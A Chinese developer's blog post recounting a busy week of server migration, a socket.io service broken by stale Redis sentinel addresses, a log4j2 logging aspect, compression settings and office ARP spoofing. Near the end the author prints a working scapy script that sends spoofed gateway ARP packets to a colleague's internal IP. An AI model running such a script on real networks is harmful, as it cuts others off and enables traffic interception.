最近真的太忙了,从早上干到晚上。总结一下最近的状态,一个字:忙,很忙,太忙了。既要改bug,又要调试环境,还要发包!中间各种坑,这里录一下我的经历。
背景:隔壁部门项目经理请了产假,之前都没接手过他们组的项目。大领导让将项目交接就给我,交接了一个文档,文档上边是git仓库地址,之后就没有什么信息了,之前因为git分支的问题,踩过坑。最近公司内网服务器统一管理,要求将所有部门的服务器全部搬到一楼机房。这一搬,服务器的ip都变了。项目中得地址也变了,包括接口地址、数据库地址、云盘地址,然后再和几个环境做一次笛卡尔积。总之就是很乱,原部门的经理打算乘乱将内网的所有服务全部通过nginx进行反代,将域名统一切到nginx上,从而降低tomcat和IIS的压力,除此之外外网环境,产品经理反映服务在早上和下午会零碎出现404页面,伴随的是接口慢,领导要跟随测试,在内网找到原因(因为太忙,我没管,另一个同事打算甩锅给我,我也没理,最后他们找到一些资料)。隔壁的一个部门搞hfs微服务,也需要反代理,还有阿里云服务器ECS购买。同事让我帮他整合log4j2。手里一大堆bug,领导天天群里喊我。不定时的电脑断网,怀疑是被人进行了ARP攻击。
因为服务调用非常杂乱,服务很多。.net、java、C++、node各种服务。服务器迁移导致断电,断点导致一些不是服务形式的应用无法工作。在将我服务的所有应用全部改完配置之后,随便点了一下,没啥问题。
问题一:一个同事调的我的接口,然后他们的接口正常返回,但是结果不对,导致他的业务一直停留,希望我检查接口或者服务配置。
解决:我仔细排查了配置,发现没有任何问题。同事不相信,让我跟他联调,通过联调,该业务中,我调另外一个同事的服务返回结果不对。向他诉说了问题之后,他又排查,最后发现是因为他们服务的配置没改,问题解决基本花费了多半天。沟通,debug和等待。
问题二:一些基于websocket的服务的时效性显著降低,甚至业务无法正常运行。
解决:为了使得websocket服务的公用性和可扩展性,之前的开发人员使用的socket.io,采用node的方式。node进程的管理使用了nsm.exe,nsm又被制作成了服务。因为是接手其他组的项目,我不了解这块。因为这个项目是项目经理负责的,其他同事又不知道具体什么原因。但是考虑到后端返回的数据没有问题,就是展示上出了问题。第一步将问题定位到了前端的js脚本。但是前端开发说她都没动过这个呀。然后让我将新的服务发布到测试环境,我发了却依然不行。经过讨论,他们认为是没有被nginx代理的问题,猜测是直接走ip不行,无奈我又加到nginx上,给了一个域名,但是任然不行。无意中看到有个error日志,打开一看,好大一片报错。
{"message":"adapter error: Error: All sentinels are unreachable. Retrying from scratch after 320ms. Last error: Connection is closed.","level":"error"}
大概得意思是redis哨兵连接不上了。我立马认为是redis同事是不是没配对,或者服务司死机了。
无奈我将我的node进程杀死,然后再重启了一下,希望能见到奇迹。最后还是不行。但是日志里出现了端口被占用的提示。最后百度了一个超级杀死node进程的方法:
taskkill /f /t /im node.exe
然后重启再看日志,发现端口还是被占用了。杀红眼的我决定重启服务器!一波操作之后发现端口还是被占用了.....
想到应该是搞成服务了,找了半天没找到服务名称(因为名称一般人想不到呀)。最后问到了。用了nsm.exe管理的node,用服务管理的nsm。把这些都关掉之后,重启了服务,其他的websocket都正常了。根本原因是用了老的redis地址,报错的原因是redis提前迁移的,端口绑定异常才是我们查找的重点。期间为了甩锅,我还写了一个日志切面。
@Log4j2
@Aspect
@Configuration
public class RouterLogConfig {
/**
* 设置操作异常切入点记录异常日志 扫描所有controller包下操作
*/
@Pointcut("execution(* net.dddd.mind.util.rest.RestApiUtils.*(..))")
public void routerLog() {
}
/**
* 执行之前进行
* @param joinPoint 切点
*/
@Before(value = "routerLog()")
public void doBefore(JoinPoint joinPoint) {
Object[] args = joinPoint.getArgs();
MethodSignature sig = (MethodSignature) joinPoint.getSignature();
Method method = sig.getMethod();
if (null != method.getDeclaringClass().getName() && null != method.getName() && null != args && args.length > 0) {
StringJoiner stringJoiner=new StringJoiner(":");
Arrays.stream(args).forEach(c->{
if (!Objects.isNull(c)){
stringJoiner.add(c.toString());
}});
log.info("{} . {} : request:{}", method.getDeclaringClass().getName(), method.getName(), stringJoiner.toString());
}
}
/**
* 返回打印日志
* @param joinPoint 切点
* @param keys 返回的数据
*/
@AfterReturning(value = "routerLog()", returning = "keys")
public void saveOperLog(JoinPoint joinPoint, Object keys) {
MethodSignature sig1 = (MethodSignature) joinPoint.getSignature();
Method method1 = sig1.getMethod();
if (null != keys && null != method1.getDeclaringClass()) {
try {
log.info("{} . {} : reponse:{}", method1.getDeclaringClass().getName(), method1.getName(), keys.toString());
} catch (Exception e) {
log.warn(e.toString());
}
}
}
}
问题:项目js脚本压缩优化,缩短页面响应时间
解决:开启后端静态文件压缩,nginx再压缩,效果还可以。
server.compression.enabled=true
server.compression.mime-types=application/json,application/xml,text/html,text/xml,text/plain
问题:arp被攻击了,偶发性断网。使用arp -a 回显的地址往往为空,使用arp -s添加网关地址,还不被接受。
解决:一直想找到那个机器发送的arp包,为此还学了一下scapy、nmp。希望根据断网之后的arp的列表找到具体的工位,最后锁定了一个同事。最后考虑arp里的那个ip可能也不是他。所以放弃了。
一般网关都是动态ip,动态ip的就一直需要广播去找,所以设置成静态的话,就不能别改变了,也不去询问。所以可以arp攻击。
#查看网卡
netsh i i show in
使用显示网关地址
arp -a
添加网关到静态arp
netsh -c "i i" add neightbors 14 "192.168.21.1" "38-22-d6-0c-c4-79"
当然咋也不忘学着攻击一下别人。但是发现效果不是很好,可能需要多发一些arp包吧!
from scapy.all import *
from scapy.layers.l2 import Ether, ARP
def arpattach(target,ip):
pack=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=target,psrc=ip)
pack.show()
sendp(pack)
def execute(target,ip):
if ip is None:
print("攻击的ip不能为空")
sys.exit()
if target is None:
print("target不能为空")
sys.exit()
for i in range(50):
time.sleep(0.5)
arpattach(target,ip)
if __name__ == '__main__':
execute("192.168.21.64","192.168.21.1")
本周比较有纪念意义的就上边这几个,除此之外帮助同事解决log4j2的包冲突,提示一下,直接使用maven的的检索,然后输入log,会出来一个springboot自己的strater,然后直接exclude就可以了。